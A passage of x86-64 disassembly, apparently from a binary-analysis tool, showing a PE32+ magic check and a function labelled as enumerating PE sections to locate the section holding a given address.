mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc52f6e1
mov eax, 0
jmp 0x2fc52f6e6
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc52f6ec
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc52f76a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc52f761
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc52f761
mov rax, qword [rbp - 8]
jmp 0x2fc52f77f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc52f734
mov eax, 0
add rsp, 0x20
pop rbp
ret